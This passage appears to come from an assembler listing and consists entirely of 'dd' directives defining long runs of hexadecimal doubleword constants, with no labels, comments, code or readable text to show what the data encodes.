0F46AD118h, 61B38393h dd 0D9A7FC01h, 0EBE00EF8h, 0D7E424h, 30F273CFh, 8D3A7C99h dd 79405700h, 20120DF6h, 0EC0200BBh, 4A7EB534h, 0CD0F21F1h dd 805F0AB3h, 54B19FDh, 5EA9004Fh, 0DDA7AA8Eh, 547A28E8h dd 0E91DD70Fh, 71803C44h, 6256FE05h, 9A3200F4h, 8C467F6Ch dd 2500C533h, 0A742275Bh, 0C33FA288h, 0AC452210h, 0F89B85C0h dd 0F0C3C200h, 5CB5FB83h, 687B19A3h, 0F087C804h, 6C50E0AEh dd 0B2FC35B8h, 5B958E00h, 88E15C2Bh, 63B70057h, 4E861164h dd 193B2D82h, 0A22E8401h, 1C805EE2h, 0FC997Eh, 67D72152h dd 9023C9ECh, 18CA48h, 6EB8E0BDh, 91C9A4Dh, 0C021F0ABh dd 9E713401h, 0D34C205Ah, 31FDF530h, 2FB7502h, 0BE152A5Eh dd 54603910h, 20FC8621h, 76EB1103h, 388567h, 23DC4718h dd 0F5AFECF8h, 0DA440E15h, 91430FCCh, 0E5572042h, 605699h dd 97CD9C39h, 0C54C1406h, 0B18C4100h, 0AF5A223Fh, 0E6F747Fh dd 4F39E0D0h, 0BC9B4CE0h, 88FA902Ch, 1D0002FCh, 5BA00ACAh dd 3AC1E477h, 0FB011062h, 1A391393h, 632CD83Eh, 153C58h dd 0CB83AA2Ah, 852CFh, 66AF5189h, 6A426854h, 98DB6B00h dd 52DC05CAh, 0D40600B7h, 54D13F7Ah, 0D6019739h, 0CDA23314h dd 0E5D8B2D3h, 0D8D46F38h, 0C06D80BFh, 0CA5B44ABh, 0D85D7400h dd 77F5DE2Ch, 83030BCBh, 0E3011C67h, 0CCAB9F07h, 0E91E6079h dd 6457493Ah, 9CED600h, 3517B5Fh, 4FF12E6Eh, 37904426h dd 5B908D17h, 11928C07h, 0EBA056AFh, 0A7496Eh, 0B0EF8134h dd 35CFD629h, 0AFB7C500h, 39579B93h, 43330003h, 0AD523F41h dd 6F002BF8h, 9277AFC7h, 0FE0EFD2Fh, 0BDE5009Eh, 15F99834h dd 9102B5F2h, 0E88744D7h, 0BBB46889h, 12950309h, 0C263FEDh dd 38A3D2A0h, 57F9A001h, 0EE6ED804h, 0B00070B9h, 32C3D7DAh dd 13003D48h, 2FA62A90h, 3ED0F3h, 5D0D3B0Ch, 0D85EC991h dd 8C100F60h, 265C1639h, 6A2981Ah, 4190C199h, 0F610A603h dd 0C80FE632h, 33F209Eh, 5EC780DFh, 2EB03BC6h, 1500A0D9h dd 3CCA0A36h, 0E30637h, 0BFE85288h, 561A7942h, 0EFAAB300h dd 9074623Dh, 0CC49A73h, 0E83C5E8Ch, 1000C4C0h, 0BCC65D44h dd 7AFDA3E3h, 9A7A0090h, 0AE3D3A4Eh, 1403A091h, 6D2CF656h dd 19C0A8A3h, 0AC3F824h, 89C58AB9h, 9C8D00C4h, 0A385F880h dd 10515006h, 36BB37h, 69A57C21h, 0E10C5C24h, 4D957D0Fh dd 68ED6793h, 0F26A3D50h, 2EAB00FEh, 33854899h, 9316236Dh dd 101C02A8h, 5C69807Fh, 32553D7Ch, 8C043E67h, 0A5425B00h dd 7A0AC16Fh, 0EBD0B601h, 1A73F926h, 1CD73480h, 1EC4EF11h dd 6003412Dh, 0E491DC0Bh, 0C38900B1h, 0E90D4099h, 7C03D5EFh dd 0F814596Dh, 5B88E0C7h, 3E8B1EB5h, 0A3740F70h, 0F0B84FA0h dd 3600240Bh, 5B9B99B4h dd 0B1ECA9Dh, 0CFB2A0CDh, 0D3143C10h, 9800B0BAh, 23113536h dd 0E67D4Ch, 5EFC046Dh, 0EDAF4E0Ch, 33391600h, 0E369FD2Bh dd 589439FBh, 0E646CB0Eh, 0BAD9EE40h, 4C01313Bh, 8EF7E982h dd 0E440107Bh, 74C8DD98h, 0A9D918E6h, 0FB5171BAh, 204D3Ch dd 0C2D47C8Fh, 0BD58382h, 0A88DE031h, 6F091810h, 570169E6h dd 58B1CD0Bh, 0C4409A76h, 6654B838h, 40F528B7h, 1E627B1Fh dd 65D3580h, 0C2BEBE8h, 68197A7Fh, 0C100CDE8h, 0C94EEE5Ah dd 83DDBAh, 541D77CCh, 1438FC8Fh, 6F0B18C0h, 0F0E3A792h dd 0C6D60055h, 0FF2BA496h, 2C060AF4h, 0B89D9E40h, 20530CC9h dd 0D7B0DD4Dh, 0B5AF90Fh, 1658E1FFh, 0F8D461D3h, 9B280305h dd 9AAC842h, 0E4E820C3h, 603D2CBh, 49C56BB3h, 1653F8C0h dd 6843000Fh, 0C40B44F2h, 330B1AACh, 0E2281E8h, 17E2A365h dd 5ED0C086h, 3C310006h, 6C03D990h, 0FB5438D1h, 0A2001E9Ch dd 9D661B5Ah, 88C4F6h, 0C1BFBD53h, 1EB309C5h, 59F0111Dh dd 3AF58B00h, 302253F7h, 0B840EC25h, 0C670C2A0h, 0EB86A4A0h dd 2D0EE0FBh, 0E5C10741h, 0D035D8h, 0EA776176h, 3B5E7234h dd 483ECB98h, 6037833Eh, 0E997B3FFh, 0D45056D6h, 405432h dd 0DD9CCF8Ch, 1BED5A1Dh, 0CBF7F58h, 6103CD25h, 80A567B5h dd 424FE0DCh, 5909716Bh, 80892652h, 4C536DBDh, 195600F7h dd 934A24E0h, 32000C1Ah, 5DB8D87Ch, 0EB035105h, 3F491EC8h dd 87012C42h, 54FA366Ch, 0D0B4CBF8h, 64D53534h, 0AF69BA0Eh dd 0EF5B614Fh, 8180C3D6h, 827F6898h, 31C0F9EBh, 0E972D99Dh dd 0B01B0467h, 904AFB74h, 0C2950700h, 0EC01E176h, 3B3CC75Ch dd 0B2CC5657h, 0B57086h, 8CBFC44Bh, 0A20CEC6Fh, 0E6FEF600h dd 6EBA93E5h, 838B3A2Fh, 3FAC1B83h, 68914304h, 849B20FFh dd 8C514A0Eh, 0F0B6A067h, 13573AA8h, 4D7EDh, 26E4F982h dd 173E32DFh, 4D36002Ah, 0B20A8359h, 7C487C9Ch, 50860103h dd 0D051461Dh, 0A54EF884h, 0ABB4C806h, 7205792h, 87D3889Eh dd 0F5FD007h, 510065D0h, 4E05B862h, 10316C4h, 84DEF9ACh dd 0C9DC04CCh, 2D96D823h, 0B361CD00h, 750658F2h, 805174CEh dd 0BB37A143h, 5F80D0C0h, 26AEE9h, 86E3174Dh, 1E018C77h dd 10B76618h, 1EA91A31h, 40F7BB6Fh, 26B5E9B8h, 0FC004ACFh dd 0D47DBF8Eh, 1BC80E7h, 740F27ECh, 60EF4598h, 0DF073641h dd 68AD60F5h, 0C859BAC0h, 476772Ch, 36893210h, 0D180FB9Eh dd 785A19D6h, 94ECFF35h, 50BE01CEh, 9B17122Dh, 5DA2D0F4h dd 9FD720C1h, 5BF84B75h, 41EE0F3Fh, 968051D8h, 2562B35Dh dd 0E330A3E8h, 97B480A1h, 447E30A4h, 0A5BE3520h, 0DC073800h dd 27514BB0h, 548211B7h, 0E41907BBh, 2F87DF39h, 65DC0380h dd 51361F28h, 0AE69F099h, 1F181C7Ch, 5C60199Ch, 3CF203h dd 4C9D3629h, 0C92FC6BEh, 0CA0E6E00h, 4E271719h, 8F8300E7h dd 29F49F4Dh, 0DD1F7D2Ah, 4053B89h, 0C002444h, 3E0FFBCEh dd 0D198A03Dh, 97F500BBh, 99C51760h, 0FE005BBDh, 8B753590h dd 0E5EFBFh, 5CE47D7Ah, 0BCC26278h, 357F500h, 9AE6879Bh dd 5430002Eh, 89E0370Eh, 69C0F3FAh, 9C7569B5h, 45CC005Ah dd 1742F860h, 0BA005CD2h, 0EB76B7C3h, 347ED5Bh, 5272F45Eh dd 0FAE0E1CBh, 0EF7C797Dh, 270B0E00h, 0B13FEBFFh, 5E59C099h dd 3AAA74E8h, 30006AEAh, 2411D952h, 9C032Dh, 2605F466h dd 0D7AEC13h, 0FD1CBA1Ch, 0EB3C78h, 2519520Fh, 7A9526A7h dd 0B460034Ah, 61D49377h, 0EC0CFAC1h, 64012E33h, 0C210FD16h dd 0C7F5F6E7h, 989C7BD5h, 1C0C008Ah, 878F4D67h, 7E410358h dd 0A9508D00h, 0A9DB37Eh, 0DFEF3BFCh, 0BFFB2300h, 44676089h dd 0AFD30C06h, 40EBE4h, 62CD73A3h, 6A6D09DBh, 6B19D260h dd 1D4F797Ch, 805260BEh, 82AA984Dh, 20C716E0h, 513C70BFh dd 9E0A061Ah, 108DF8C5h, 0DB656E18h, 1D4F8349h, 7EF2A22Fh dd 4B00203h, 0A4F0AE51h, 35000B99h, 0E9E8A71Dh, 17206CF6h dd 0E0A073D2h, 40CAB13h, 6878C2AEh, 6F9E0092h, 8A26CEC5h dd 611524DDh, 7C844511h, 4B5A4601h, 3834CD33h, 0B20088BEh dd 0D3D722BDh, 0DEE08EBCh, 534D1400h, 9917EF69h, 0FEC2001Ch dd 937845C8h, 0EE00E6BFh, 149A0D16h, 773C3Fh, 0C8AD23CEh dd 0BD0528C4h, 8CC5C30Eh, 35E3605Eh, 300284EDh, 497130C2h dd 4D00F226h, 3362E52Bh, 5EF96E1h, 4774FCBEh, 709840D2h dd 0DD5258ABh, 66E1BD00h, 426F6E5Ch, 496961D6h, 0E57E318Eh dd 0D1B5DC20h, 0C0354E03h, 9823F15Eh, 0AAFB8Ah, 4D44E59Dh dd 0F63652DFh, 10E64F4h, 895A45B4h, 7E5407B5h, 0D6A9818Eh dd 8E83A86h, 88390757h, 0C72C8E87h, 0ADCC0001h, 2E78702Dh dd 7921FA0Ch, 0EB40A8h, 0FF659A85h, 73AF364h, 8EA14200h dd 152D35C1h, 8AE10226h, 0FD0A7444h, 7CAC270Fh, 0E0259753h dd 0ECCBB5BBh, 2AFE30A9h, 2F220F20h, 6EDDEA01h, 6DB3EE35h dd 249DE8h, 9546FECCh, 0E7F65737h, 99D96807h, 48F0CA64h dd 0C66212A1h, 0A19032B1h, 0B68BCB0Ch, 12193Fh, 8635E757h dd 0CCCA1F9h, 0FB504DECh, 0E4002684h, 25840ABAh, 0C7ACCAEDh dd 0F07DB440h, 57AEB382h, 0CFF65400h, 674B0605h, 2D4900B9h dd 8AF7AB96h, 0AA00A3E8h, 1C71A932h, 7158E90Bh, 69E60163h dd 7EA1EF0Fh, 0A42448FDh, 6747B513h, 0E3122B01h, 79705037h dd 0C8B25039h, 38DA30C9h, 0F41F79B8h, 3027D37Fh, 85DA81C2h dd 87C4C6E6h, 0E92A0C25h, 0C9384C4Bh, 3EF9A80Ah, 7301E4FBh dd 74159184h, 9C05E806h, 4DB8DAE6h, 1FE7C000h, 9FEA21h dd 111B0F73h, 246FE40Dh, 959751Ch, 0A038D400h, 7BF42510h dd 0B8F53F67h, 33424300h, 0B94A352Ah, 0C3D30403h, 7CEFCE3Ch dd 3B1D7358h, 4698E698h, 1CA97836h, 0F506A17Eh, 0A3C62352h dd 4FF622A8h, 604B5301h, 9B6731C1h, 0C3E606C7h, 1195E9E4h dd 0FE84FB01h, 0C50DD3DBh, 13CCCE8h, 0CCA73A9h, 0A63336EFh dd 46031A69h, 0D072D487h, 0C0AA7C88h, 8C300118h, 990007B2h dd 93404CC1h, 2559D11h, 0DF98A4CEh, 9EE08D27h, 0F93F7A77h dd 5E660075h, 0AB6EEB03h, 0A053906Fh, 0F0C12960h, 516900D9h dd 0B597D6DAh, 390EF0D7h, 5CD05BF5h, 0FCE719C0h, 39BABC7h dd 8A10BA99h, 13B069A1h, 0E0ED39A3h, 0CB00BB8Ch, 0EE0E1C1Fh dd 3DD5F32h, 0E0D64087h, 68008A60h, 9D6EE74Ch, 3FE8443Ch dd 6601C826h, 0B3060246h, 4C881C3h, 0D1CB2A3Bh, 36396F4h dd 206D4445h, 0D5D8BEA0h, 4338EE03h, 3072809Dh, 5CB24FCDh dd 76A3007Bh, 7308DE24h, 0BE0C47ACh, 7993D770h, 0F07A1831h dd 85349040h, 9AF43301h, 9F9B08F2h, 7C561880h, 6BB105A6h dd 8725910Eh, 2901404Dh, 1F4255h, 0CE2630D4h, 0AABB252h dd 15FBFA1Fh, 4B516603h, 48102905h, 1898D004h, 2E10DE60h dd 74E6AEF6h, 44600AAh, 0E85B3062h, 470CC3E4h, 2011DFFDh dd 5DC039B9h, 7CF34B80h, 0E962D508h, 0D0BD100h, 406CD68Dh dd 71CC0089h, 601DAD5Fh, 500CD1Ah, 0AF5B3C54h, 0A9B827Bh dd 0E9F2C6D3h, 1E2807B5h, 107D4737h, 0B302AB3Fh, 77FB4107h dd 0A0CFC718h, 0A62ACF4Dh, 0BD140F6Eh, 8CC0B94Bh, 0F111ECEh dd 360BA3Ah, 0A54CD427h, 0BFABD875h, 31680019h, 49FF775Dh dd 9C009B47h, 0C875436Ah, 76695EDh, 2BB78D5Ah, 76B3A00Dh dd 63795FB8h, 4AA13Dh, 9EC307EBh, 0F477ECh, 0F26B5CF9h dd 4415E8A5h, 0ED412E00h dd 7FC0B737h, 0D86907AFh, 326677Bh, 488076D3h, 0AE008834h dd 1C72E321h, 0B0C57546h, 0B9F27Ch, 234704F5h, 83026AAh dd 3A430F1Ch, 0E9C0A980h, 0A010DA1Eh, 8828D0h, 8506B95h dd 0D6599D77h, 18BE20Bh, 99A480EFh, 0C09E57C8h, 394031FCh dd 81C0D50Ch, 0BFFE887Dh, 6CB100B9h, 692BE32Eh, 0EA608624h dd 0AAFDAD91h, 0CB163B43h, 1896C780h, 0DAB29001h, 474D0600h dd 3AEF3170h, 0EDA10008h, 0FCA9D1Ch, 34005C60h, 0E63504F6h dd 7F9FC8h, 2D1526B0h, 320F8C86h, 0BBC2D828h, 20CDA400h dd 0EAE19FBCh, 2E7B3946h, 0C001B600h, 0F45FA1BAh, 9BE06D00h dd 0C85795B3h, 0B83D716Ah, 0A670371h, 0E0A25FC9h, 0FBB96DD8h dd 0A9DA8E00h, 4B94E502h, 95AF3AD1h, 2497F000h, 0F60C532Dh dd 0D91C1C78h, 873C462Fh, 42960A61h, 2E2CE830h, 37B70921h dd 40000DCEh, 0C5954C19h, 0DE703E7Ah, 0C8E30A00h, 0B0F72BA1h dd 4B0100A7h, 0D6248A17h, 4146EBCh, 1FB04879h, 960045B8h dd 89DD65FCh, 0BABD0316h, 0CBEFDB08h, 197C4AE0h, 0B356B4A0h dd 4BDD1100h, 58E893D5h, 5C36126Ah, 0A4880080h, 24EF68CAh dd 9C005EE2h, 5B75C7BDh, 1E1B7EDh, 0AA65B5E4h, 8058B09Bh dd 6C17CD30h, 382287E8h, 0C41EBDA5h, 5C52C098h, 0FEAE5941h dd 708164Dh, 0F3A5B5D2h, 1F4D1C50h, 606D1D7Dh, 562303FBh dd 0A00217DEh, 0FD509A97h, 0CE4C057h, 152B00D7h, 0ACCF1C93h dd 90006EC5h, 0A33B54E5h, 76C16A0h, 41E24210h, 0A378F762h dd 0E3CBE73Fh, 6AE5CF0h, 88D17B01h, 58B69430h, 0F187D987h dd 0AA97F39Ah, 0CA34C800h, 0FBFF7D5h, 0B3E42BE3h, 8810074h dd 0E2526EF7h, 1283EB00h, 6F031079h, 609701D1h, 3DD97C4Eh dd 1F9EDC6Ch, 5E187A00h, 0A081DC69h, 67231D0Eh, 568D409Dh dd 2BD412A6h, 4C11E00h, 0D73D3458h, 0FCDD00E5h, 5D98C5EBh dd 0A2007D7Ch, 0FAAB85E1h, 0A00540ECh, 0B0FBEB92h, 0A7B300AFh dd 48D0D3B0h, 412E5A22h, 0FF00CCB6h, 81662984h, 50F21F87h dd 0E0AED911h, 327BE0A7h, 33D3A03h, 0A0A37C9Bh, 293CB5h dd 0D8CDC7BEh, 8AA5F6AEh, 68D79314h, 0FFE04C8h, 10906258h dd 76607C6Ah, 66F40050h, 4AF91F85h, 0CBFCA44Dh, 2491E500h dd 0DFB04CB9h, 54140093h, 9C2103EEh, 5C7AFAA0h, 0CEBF3D00h dd 2B02E5D1h, 0DA4A0AB6h, 4EE0E3FDh, 59520D20h, 0A3006DB8h dd 0C498A72Ah, 727EACh, 2FE612E1h, 65429A02h, 6A62C9F5h dd 744AB0h, 0A2C3F3C9h, 6DC6023Fh, 9E3D600h, 1D399981h dd 8DB1006Ch, 0F0CEE65Dh, 7E70754Ch, 8BAD4112h, 20D17B0Eh dd 3B0E057Ch, 91C903ABh, 5D855902h, 968F9480h, 0D1E6C000h dd 3D86FFA6h, 4357385Ah, 51B79C09h, 0B68AD020h, 0D80BFBF0h dd 80441EB5h, 0F968766Ah, 4AA800D2h, 0C6DA8186h, 5277D134h dd 314C8C92h, 16710704h, 2BB992B5h, 56260584h, 0CBDB870Eh dd 948900E1h, 2C9CCE2Ah, 806041C1h, 9AD2A34Ah, 67E0B3F8h dd 3FE2BB00h, 6A7EAB3Dh, 648707C8h, 0E05CE8F2h, 385B1666h dd 0BF883100h, 0C77BE763h, 59E530BBh, 2136A388h, 0F61A6F00h dd 8D2B83D5h, 0C0F10CB6h, 3E711F87h, 905D7200h, 9CF8DD8Fh dd 35EC0Bh, 0A9882D94h, 0FEC801EEh, 5C499102h, 0C3623C74h dd 0C3D006BAh, 49847C99h, 48DC810Eh, 7AC484F0h, 4012A490h dd 0C8DE00AEh, 45F932C1h, 8877E271h, 0B09C6200h, 4A278D17h dd 306D726Eh, 1E8AEB1h, 0C9008F7Ah, 7EB613B5h, 0E4FBD7D5h dd 0BA9E1386h, 224F0068h, 4208B06Bh, 0CCBE90Eh, 4C3780A8h dd 56F265h, 0AF2C4814h, 8A1921EBh, 254D6B01h, 737B66B9h dd 3FD48170h, 6E85DBF2h, 0C0D3D73Ah, 0E5590858h, 10F0AE01h dd 23AB7689h, 0FEA08460h, 0A92E00CAh, 0FB6E57BDh, 24002AE6h dd 0C7D88D5Fh, 0B6FE32h, 721FBB5Dh, 16D91CDFh, 8758DC01h dd 0B491D89Ah, 3D812030h, 518227EAh, 0BF8AC003h, 0C9413880h dd 0D57A7264h, 77A6A01Eh, 93EDEAC2h, 3B244836h, 60624CD0h dd 61F5B7B0h, 0A5D33200h, 0CEA2BC31h, 0A15B009Ah, 0EF88499Dh dd 0F2003CC6h, 8592CD9Ch, 1233F45h, 342C5D5Ah, 6447D865h dd 35587CE8h, 0A2648238h, 0E060C317h, 0FE8836A0h, 2806005Eh dd 0DD625249h, 0D1E0143Bh, 0B2DB3A05h, 0ED0435E4h, 68828B7Dh dd 5A54403Fh, 60889152h, 0EA8A0AD8h, 5E8B691Fh, 0D02C9h dd 0FF1BC18Bh, 0E407003Dh, 6C18B357h, 0DF015EACh, 0E3EC4D64h dd 0B4DFC7F1h, 0BF00F8CFh, 373F5552h, 99099283h, 20F794B4h dd 0B6AB8E5Ch, 7A84072Ch, 9EEFF2BFh, 3B0BE681h, 0A54C20B8h dd 356ED00h, 51D7257Ch, 0D34000B1h, 55FF504h, 3E0246C9h dd 0B90A1DD8h, 2F94A143h, 60899E55h, 0CB04DF7h, 0C051914h dd 0E9C9FBFAh, 1AB21680h, 700A5938h, 8D65E309h, 0CDFB9C20h dd 0C409B954h, 10845ED1h, 4A00CCCh, 0E0EFB30Bh, 0DAB88015h dd 0F63BEC7Ah, 37590385h, 1C6496D4h, 80E92250h, 0F9895B63h dd 0D702F2A2h, 0D5097A95h, 0F830C316h, 776D5C54h, 33F60002h dd 580E63ABh, 2A2618CCh, 81C108BBh, 32B5B9h, 80C10C1Eh dd 2F56A73h, 8585853h, 72904902h, 97157600h, 0DA633C25h dd 1E14F457h, 1A61C8Eh, 0E453123Fh, 31F7D401h, 0D9057D72h dd 9111601Dh, 0B4A84CC0h, 758E0046h, 0E529E7B0h, 0B0A5BA5Dh dd 9572CD64h, 8C2570AFh, 43C0D0C1h, 0F254913Dh, 6500EEBCh dd 0EBAA5407h, 12333CF3h, 706460B5h, 88387B78h, 0A300CC9Ah dd 2487B149h, 2819DCB7h, 0F1AC3664h, 0A16BC308h, 0EA603080h dd 63BA1940h, 0AC3F4915h, 0A3082868h, 0C4024716h, 0C6509088h dd 0CAF092E8h, 0A3A8B30Ch, 3791ADh, 0BE691A02h, 93665EDBh dd 10574Ch, 0AAF9D6BFh, 659DFBh, 8D8B5513h, 6AA5DC03h dd 0E6033E75h, 7E976EF6h, 32BC90C0h, 21E4076Fh, 2174522Dh dd 30800B25h, 4C09D205h, 37BCD0h, 0C1892689h, 4658006Dh dd 43AFA40h, 0AC00B76Ch, 0BD6AF73Eh, 0E68C69B1h, 7C970053h dd 0D611A4A7h, 0F60776D2h, 6D4807DAh, 4C42E920h, 0FBAD01B8h dd 0CC816B8Ch, 28A07E03h, 0B2470002h, 62BE1BAFh, 92010F1Ah dd 8756A558h, 0DBE45519h, 0F6896042h, 8C65C015h, 0B043EC02h dd 608DDDD8h, 0FAFD0558h, 0FFFB01A0h, 0A412E506h, 115770F9h dd 0D645B90Fh, 0DFC0DEB0h, 0B69B8B7Ah, 0EBFE3BF5h, 1A0600F3h dd 0C8579252h, 4E0069A6h, 0B23F9F24h, 4C56B4Fh, 16FED47Ah dd 4760C04Ah, 8D03B728h, 81858296h, 62800F75h, 9A42C7FEh dd 0E8406DC5h, 0B5551E05h, 96CCEC10h, 32571200h, 8EC5728Ch dd 0C0B238F4h, 94015CA7h, 381A598Dh, 0C9910098h, 58BCFEB7h dd 0A1FEB4h, 22B93A4Ah, 0FDAB2113h, 4748BA00h, 161B6B95h dd 7C070C91h, 853045D2h, 0B8494B26h, 0B78C2680h, 0DD0D88D5h dd 0BD1B0369h, 42FB32EAh, 47443007h, 0B0680AEh, 7A50081h dd 2FDB5E10h, 2B74B7E4h, 58636E30h, 3F5AF08h, 0A49C4EC8h dd 0C4D0B49Eh, 0E174A036h, 4B409701h, 0E246E68Ah, 6BFB80D6h dd 0B64D1Ah, 948E3324h, 0E6094C10h, 0CE2EC800h, 396E512Fh dd 0D0D90777h, 104DE1B5h, 0B829F8C3h, 0B000A72h, 732BCE24h dd 7C460414h, 6FD20394h, 4B312517h, 80B47EF1h, 681BFAB8h dd 240F4F23h, 1E6C428Ch, 3E1A4B16h, 6AD284A0h, 71001B23h dd 995189AEh, 0F6689Eh, 1584EBCEh, 727D8747h, 160A22E0h dd 9C57F2F9h, 6470A880h, 7D28C43h, 0A28045C2h, 0D00744C5h dd 65821A40h, 0AFD3E31Dh dd 523DA4E8h, 0BF83034Ch, 0A8BA9697h, 2D8084h, 29D1326Bh dd 0FA432513h, 0A214004h, 98F4DE06h, 15450C90h, 1A11117Eh dd 78E413Fh, 86B770BCh, 2E08F4D6h, 8E58FDB6h, 65809672h dd 46DF216Eh, 99CEB131h, 93401898h, 3FF155Fh, 0BDFE3F7Eh dd 0A7C1CC7Dh, 9A14244Ch, 0DF673Ch, 668930E3h, 0D31086h dd 4FE25F55h, 0B3F236F7h, 2B912260h, 5D2E17h, 5049FCB5h dd 522FBD92h, 15C09501h, 5871A1E7h, 48371530h, 82675C78h dd 61D4BA6Fh, 20D62377h, 1A5261D6h, 10F410D4h, 2369850Fh dd 82A470A0h, 31002401h, 0DFF2AB04h, 0FB2D56h, 0F949DE07h dd 471476F5h, 0D55616F4h, 2DC6BD8h, 982B32CDh, 800A63D8h dd 5D00CE06h, 6CB4C1C6h, 450DF76h, 0BB36BAFCh, 8A608026h dd 60072C3Fh, 76866379h, 0F825E6h, 1DAD1C04h, 7B629D02h dd 0A6697900h, 13FD530Fh, 61820024h, 58CF76DDh, 57001EC0h dd 60BBD22Ah, 3AFC75Eh, 5268E1A6h, 1AB04DECh, 4F3EF17Dh dd 0A8EE00D3h, 8417CD0Fh, 0A1B907BFh, 60522B26h, 18CABBBDh dd 9F09DCFAh, 8010A616h, 0A5082A2Ah, 330E0192h, 87186C1Eh dd 831CF05Bh, 0CBC00D00h, 0BB37DE8Dh, 0CC9400B9h, 0C453667Fh dd 0CF0CCE1Bh, 704EC352h, 0F2B100A6h, 0B5949648h, 63098D18h dd 80972BABh, 59419AE8h, 0F212004Ah, 330FCD92h, 6A017F57h dd 1A80C672h, 84487AC3h, 12E000D4h, 4C57E5FDh, 1FE02EBCh dd 0F9C60B00h, 9A6D1AAFh, 0CD9B07E1h, 8526A47Eh, 0C046A71h dd 10EB3FC8h, 91F200B9h, 0A081626Fh, 50F0BA97h, 1E78B4F8h dd 0C49C2018h, 31A120h, 0DB73B9E0h, 0BB07348Fh, 53CA1800h dd 0C12B4006h, 1AC40043h, 0D7DE6892h, 54248A02h, 1F0085D2h dd 1C0FD81Eh, 5CE1F769h, 0B692E8F3h, 21F40051h, 4A969FA7h dd 723E1D83h, 4EA08EE0h, 53864035h, 1C29F9h, 81162120h dd 0CDBEDD4Fh, 33E93Fh, 761832A2h, 3C35EF3Ah, 0E00F243h dd 0D587A0E2h, 2B0077B5h, 0D264AD70h, 0E3F2874h, 0DEF85F9Bh dd 3962ECE0h, 3C0E5BA7h, 0A02F64C6h, 1E872330h, 1BF65Dh dd 21349F5Ch, 0E0FDDFF3h, 10609800h, 40E5912Eh, 720D0054h dd 68BE35E8h, 21000880h, 441C2D0Fh, 7506BBCBh, 0CB12869h dd 0CE1F2CB4h, 156400F7h, 0DD74CC91h, 7543593Dh, 7FCA8200h dd 11301E79h, 16F0B56Eh, 18CFD800h, 0FAFE1070h, 4A1301A6h dd 9AFCA832h, 719080B4h, 2D9F3BD5h, 8AF00BCh, 3F1BE1D7h dd 0A4021636h, 6E536556h, 0CB1C40C3h, 8A779Dh, 81E3D0B3h dd 0A22A7ED1h, 2200F87Dh, 36DE4A4Eh, 397C7A74h, 0E307C60Ch dd 0C01E7750h, 32CA6225h, 9B8C7307h, 2F10096Ah, 953DEFh dd 7C24239Ch, 0FD867876h, 130BCC00h, 2E5FB820h, 98402858h dd 375000B0h, 0C2768CACh, 9D0390BCh, 8D6A7EE2h, 2D4AB0C5h dd 7093000Eh, 0A623FDBDh, 0D2005F59h, 153DF0FFh, 115219h dd 974B3294h, 3FBF6AC7h, 0B41CFEF8h, 0FF4296E2h, 80B3766Bh dd 8882218Ch, 7DEE0073h, 0D85ADF47h, 9D0001D1h, 0A5C5716Eh dd 1D9FA142h, 8E6F89BEh, 85A0163Ah, 0ED0954A9h, 0D5B30400h dd 126AFA34h, 58B4000Fh, 0D1442F3Dh, 150069EEh, 2D6F7B9h dd 0EB49A9h, 0BFDAA74Bh, 8F791117h, 0AA603600h, 0A1095062h dd 33781308h, 464900A7h, 118999D4h, 39F4D0A0h, 0E5220507h dd 0DB20CF7Fh, 122102h, 0DC258E8Bh, 5F9CBA98h, 0D8B6B330h dd 3E27EDFFh, 0F8500684h, 0E86949EFh, 7F2AB500h, 40D72116h dd 77FE4603h, 96EA02h, 0F411C238h, 61B98EE8h, 0BC4B2200h dd 1DAB2C9Eh, 19EA0012h, 798C440h, 0A69054F2h, 5FDD7117h dd 876BE600h, 0F484620Eh, 82A2009Eh, 0E66365DBh, 81003EE7h dd 74EB44ECh, 0B33513h, 0B6FEF9B2h, 37B430D8h, 5EEBC00h dd 1BF43ACh, 0DE513F56h, 0FF007B3Ah, 0A2F63B17h, 0A9008EF0h dd 1AAF999h, 0EF53D44h, 96984B55h, 0F7882A0h, 3C00FF4Ah dd 0CE7A358Fh, 0D609F8h, 0BE76B290h, 9A972E9Bh, 1E26A700h dd 0C881D8C4h, 35651E39h, 0FC017CE4h, 0B0B70FC6h, 0E4C2E94Fh dd 80AB91F7h, 385FFC0h, 5C219201h, 0E65BF6C9h, 8388B041h dd 487C42F8h, 0D1008E9Eh, 3EE28AF3h, 9209B30Bh, 80D2C73Bh dd 0D6B890C4h, 2EF8FA35h, 2271FCh, 37EB3BD3h, 870095F0h dd 403452A2h, 5F7C08h, 0B5BF717h, 5DF5B0EFh, 6EBEE400h dd 26FDC3A5h, 0AB87002Ch, 9024C78Ah, 0C100B0EDh, 3EB67E05h dd 4C3B4BDAh, 0B2CE4CAh, 822A03ECh, 59C1BB80h, 605CECD9h dd 9C856100h, 1B3275AEh, 0DAC1121Ah, 51D70FE5h, 87EE25E4h dd 7BE45094h, 90188A70h, 0BB20DEC6h, 98DA009Ch, 2FC9613Eh dd 0AC00879Bh, 0D47CE77Dh, 108549Dh, 1DD023ADh, 0EC22B4CAh dd 0B000D9FBh, 35AE4A0Eh, 2431ACBh, 0C4F195D0h, 7C40A665h dd 0CF3D7B2Eh, 0A7D900CDh, 0E0FCAB7Eh, 0CBB50066h, 44AD4933h dd 0D703878Bh, 7883A341h, 6095A08Ah, 0D7614CF2h, 0D4F62C00h dd 0C6E8114Bh, 7E841407h, 72502256h, 8E829Ch, 610370AEh dd 628F5389h, 0DD778600h, 4181D09Eh, 0D6D7002Ah, 69FB906Bh dd 44008FBBh, 0CEBF4DEAh, 0BDA354h, 29EFB8C1h, 7D020D39h dd 72A43838h, 0AE948600h, 0D1A91E47h, 9F1814BAh, 0EF00687Fh dd 6B57873Bh, 0AF0E2402h, 0C0E43D5Ch, 0E76E6771h, 32E9002Ch dd 8F8AA1D7h, 0A2E892D9h, 0E3621500h, 0BDB0EF5h, 0AA6601E5h dd 30D67585h, 0D05220CFh, 0A4BB2B07h, 0EDB0492Dh, 772CD48h dd 572C70D9h, 0B58A00E3h, 0A013623h, 76DAC5FBh, 88F8FD47h dd 1CB7B4Eh, 9180B82Ah, 307736BDh, 40ED714h, 3D3E2D3Ch dd 31FC0843h, 0B442C918h, 125D5B00h, 61A5C800h, 2E972D24h dd 0C773040Dh, 0C0E915A1h, 6CDE36C2h, 0A6E1400h, 841697C5h dd 421074Fh, 701BB9AAh, 0FBFCA172h, 870207E4h, 3845CBBAh dd 0C044C840h, 0B5510746h, 205B8810h, 929AE4A7h, 5410A9h dd 3A5824A0h, 0AC3AA926h, 1324A4A4h, 99D40028h, 0EBA50A7Bh dd 6700787Fh, 4A9F439Eh, 3413F1h, 141A934Fh, 0E191BEB6h dd 5B07D10Eh, 0DF3F80ABh, 70C0BDCh, 